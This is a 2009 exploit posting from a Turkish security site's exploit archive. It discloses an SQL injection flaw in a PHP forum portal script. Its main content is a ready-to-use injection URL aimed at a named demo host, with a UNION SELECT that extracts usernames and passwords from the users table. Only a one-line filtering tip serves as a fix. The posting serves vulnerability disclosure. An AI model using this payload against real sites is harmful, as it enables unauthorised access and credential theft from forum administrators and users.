PHP Forum Hoster Portal Script ~ SQL Inj. Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > PHP Forum Hoster Portal Script ~ SQL Inj. Vuln.

Madde
	Author : Bug Researchers/Kadir DOGAN
	Date : 13.09.2009 19:46:42
	# PHP Forum Hoster Portal Script ~ SQL Inj. Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : Kadir DOGAN # Script Name : PHP Forum Hoster Portal Script # Bug Type : SqL Injections # Infection : Admin giris bilgileri alinabilir. # Demo Script : www.city-demo.at/forum/ # Bug Fix Advice : Zararli karakterler filtrelenmelidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > http://www.city-demo.at/forum//forum.php?forum=-4+union+select+0,concat(username,0x3a,password),2,3+from+users Path//forum.php?forum=[SqL Inj.] < -- bug code end of -- >